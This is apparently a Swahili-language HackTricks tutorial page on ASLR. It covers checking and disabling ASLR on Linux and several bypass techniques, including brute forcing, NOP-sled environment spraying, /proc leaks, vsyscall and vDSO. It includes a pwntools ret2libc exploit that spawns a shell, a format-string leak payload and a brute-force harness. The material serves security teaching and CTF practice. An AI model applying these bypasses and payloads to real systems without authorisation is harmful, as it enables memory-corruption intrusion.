ASLR
Reading time: 10 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Address Space Layout Randomization (ASLR) ni mbinu ya usalama inayotumika katika mifumo ya uendeshaji ili kubadilisha anwani za kumbukumbu zinazotumiwa na michakato ya mfumo na programu. Kwa kufanya hivyo, inafanya kuwa vigumu sana kwa mshambuliaji kutabiri eneo la michakato na data maalum, kama vile stack, heap, na maktaba, hivyo kupunguza aina fulani za mashambulizi, hasa buffer overflows.
Checking ASLR Status
Ili kuangalia hali ya ASLR kwenye mfumo wa Linux, unaweza kusoma thamani kutoka kwenye faili ya /proc/sys/kernel/randomize_va_space
. Thamani iliyohifadhiwa katika faili hii inaamua aina ya ASLR inayotumika:
- 0: Hakuna kubadilisha. Kila kitu ni cha kudumu.
- 1: Kubadilisha kwa njia ya kihafidhina. Maktaba zinazoshirikiwa, stack, mmap(), ukurasa wa VDSO zinabadilishwa.
- 2: Kubadilisha kwa njia kamili. Mbali na vipengele vinavyobadilishwa kwa njia ya kihafidhina, kumbukumbu inayosimamiwa kupitia
brk()
inabadilishwa.
Unaweza kuangalia hali ya ASLR kwa amri ifuatayo:
cat /proc/sys/kernel/randomize_va_space
Kuzima ASLR
Ili kuzima ASLR, unapaswa kuweka thamani ya /proc/sys/kernel/randomize_va_space
kuwa 0. Kuzima ASLR kwa ujumla hakupendekezwi nje ya hali za majaribio au urekebishaji. Hapa kuna jinsi unavyoweza kuzikatiza:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Unaweza pia kuzima ASLR kwa utekelezaji kwa:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Kuwezesha ASLR
Ili kuezesha ASLR, unaweza kuandika thamani ya 2 kwenye faili ya /proc/sys/kernel/randomize_va_space
. Hii kwa kawaida inahitaji ruhusa za mzizi. Kuwezesha randomization kamili kunaweza kufanywa kwa amri ifuatayo:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Uendelevu Wakati wa Kuanzisha Upya
Mabadiliko yaliyofanywa na amri za echo
ni ya muda na yatarejelewa wakati wa kuanzisha upya. Ili kufanya mabadiliko kuwa ya kudumu, unahitaji kuhariri faili ya /etc/sysctl.conf
na kuongeza au kubadilisha mstari ufuatao:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Baada ya kuhariri /etc/sysctl.conf
, tumia mabadiliko kwa:
sudo sysctl -p
Hii itahakikisha kwamba mipangilio yako ya ASLR inabaki wakati wa kuanzisha upya.
Mikakati ya Kuepuka
32bit brute-forcing
PaX inagawanya nafasi ya anwani ya mchakato katika makundi 3:
- Msimbo na data (iliyowekwa na isiyowekwa):
.text
,.data
, na.bss
—> 16 bits za entropy katika mabadiliko yadelta_exec
. Mabadiliko haya yanaanzishwa kwa bahati nasibu na kila mchakato na kuongezwa kwa anwani za awali. - Kumbukumbu iliyotolewa na
mmap()
na maktaba zinazoshirikiwa —> 16 bits, inayoitwadelta_mmap
. - Stack —> 24 bits, inayoitwa
delta_stack
. Hata hivyo, inatumia kwa ufanisi 11 bits (kutoka byte ya 10 hadi ya 20 ikiwa ni pamoja), imepangwa kwa 16 bytes —> Hii inasababisha 524,288 anwani halisi za stack zinazowezekana.
Data ya awali ni kwa mifumo ya 32-bit na entropy ya mwisho iliyopunguzwa inafanya iwezekane kuepuka ASLR kwa kujaribu kutekeleza mara kwa mara hadi exploit ikamilike kwa mafanikio.
Mawazo ya Brute-force:
- Ikiwa una overflow kubwa ya kutosha kuhost sled kubwa ya NOP kabla ya shellcode, unaweza tu kujaribu anwani katika stack hadi mtiririko ujumpie sehemu fulani ya sled ya NOP.
- Chaguo lingine kwa hili ikiwa overflow si kubwa sana na exploit inaweza kuendeshwa kwa ndani ni kuweza kuongeza sled ya NOP na shellcode katika variable ya mazingira.
- Ikiwa exploit ni ya ndani, unaweza kujaribu brute-force anwani ya msingi ya libc (inayofaa kwa mifumo ya 32bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Ikiwa unashambulia seva ya mbali, unaweza kujaribu kuvunjavunja anwani ya kazi ya
libc
usleep
, ukipitia kama hoja 10 (kwa mfano). Ikiwa katika wakati fulani seva inachukua sekunde 10 zaidi kujibu, umepata anwani ya kazi hii.
tip
Katika mifumo ya 64bit, entropy ni kubwa zaidi na hii haipaswi kuwa inawezekana.
Kuvunjavunja stack ya 64 bits
Inawezekana kuchukua sehemu kubwa ya stack na mabadiliko ya mazingira na kisha kujaribu kutumia binary mara mia/elfu za ndani ili kuifanyia shambulio.
Msimbo ufuatao unaonyesha jinsi inavyowezekana kuchagua tu anwani kwenye stack na kila mara chache mia za utekelezaji anwani hiyo itakuwa na amri ya NOP:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
.png)
Taarifa za Mitaa (/proc/[pid]/stat
)
Faili /proc/[pid]/stat
la mchakato daima linaweza kusomwa na kila mtu na lina maelezo ya kuvutia kama vile:
- startcode & endcode: Anwani juu na chini na TEXT ya binary
- startstack: Anwani ya mwanzo wa stack
- start_data & end_data: Anwani juu na chini ambapo BSS iko
- kstkesp & kstkeip: Anwani za sasa za ESP na EIP
- arg_start & arg_end: Anwani juu na chini ambapo cli arguments ziko.
- env_start &env_end: Anwani juu na chini ambapo env variables ziko.
Hivyo, ikiwa mshambuliaji yuko kwenye kompyuta moja na binary inayoshambuliwa na binary hii haitarajii overflow kutoka kwa hoja za raw, bali kutoka kwa input tofauti ambayo inaweza kuundwa baada ya kusoma faili hii. Inawezekana kwa mshambuliaji kupata anwani kadhaa kutoka kwa faili hii na kujenga offsets kutoka kwao kwa ajili ya exploit.
tip
Kwa maelezo zaidi kuhusu faili hii angalia https://man7.org/linux/man-pages/man5/proc.5.html ukitafuta /proc/pid/stat
Kuwa na leak
- Changamoto ni kutoa leak
Ikiwa umepatiwa leak (changamoto rahisi za CTF), unaweza kuhesabu offsets kutoka kwake (ukidhania kwa mfano unajua toleo halisi la libc linalotumika kwenye mfumo unaoshambulia). Mfano huu wa exploit umetolewa kutoka kwa mfano kutoka hapa (angalia ukurasa huo kwa maelezo zaidi):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Kwa kutumia overflow ya buffer, itakuwa inawezekana kutumia ret2plt kuhamasisha anwani ya kazi kutoka libc. Angalia:
- Format Strings Arbitrary Read
Kama ilivyo katika ret2plt, ikiwa una kusoma kwa njia isiyo ya kawaida kupitia udhaifu wa format strings, inawezekana kuhamasisha anwani ya libc function kutoka GOT. Mfano ufuatao ni kutoka hapa:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Unaweza kupata maelezo zaidi kuhusu Format Strings arbitrary read katika:
Ret2ret & Ret2pop
Jaribu kupita ASLR kwa kutumia anwani ndani ya stack:
vsyscall
Mfumo wa vsyscall
unatumika kuboresha utendaji kwa kuruhusu baadhi ya wito wa mfumo kutekelezwa katika nafasi ya mtumiaji, ingawa kimsingi ni sehemu ya kernel. Faida muhimu ya vsyscalls iko katika anwani zao za kudumu, ambazo haziko chini ya ASLR (Address Space Layout Randomization). Hali hii ya kudumu inamaanisha kwamba washambuliaji hawahitaji udhaifu wa kuvuja taarifa ili kubaini anwani zao na kuzitumia katika shambulio.
Hata hivyo, hakuna vifaa vya kuvutia sana vitakavyopatikana hapa (ingawa kwa mfano inawezekana kupata sawa na ret;
)
(Mfano na msimbo ufuatao ni kutoka kwa andiko hili)
Kwa mfano, mshambuliaji anaweza kutumia anwani 0xffffffffff600800
ndani ya shambulio. Wakati wa kujaribu kuruka moja kwa moja kwenye amri ya ret
inaweza kusababisha kutokuwa na utulivu au kuanguka baada ya kutekeleza vifaa kadhaa, kuruka kwenye mwanzo wa syscall
inayotolewa na sehemu ya vsyscall inaweza kuwa na mafanikio. Kwa kuweka kwa makini ROP gadget inayoweza kuongoza utekelezaji kwenye anwani hii ya vsyscall, mshambuliaji anaweza kufikia utekelezaji wa msimbo bila kuhitaji kupita ASLR kwa sehemu hii ya shambulio.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Kumbuka hivyo inaweza kuwa inawezekana kuzidi ASLR kwa kutumia vdso ikiwa kernel imeandikwa na CONFIG_COMPAT_VDSO kwani anwani ya vdso haitakuwa na mabadiliko. Kwa maelezo zaidi angalia:
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.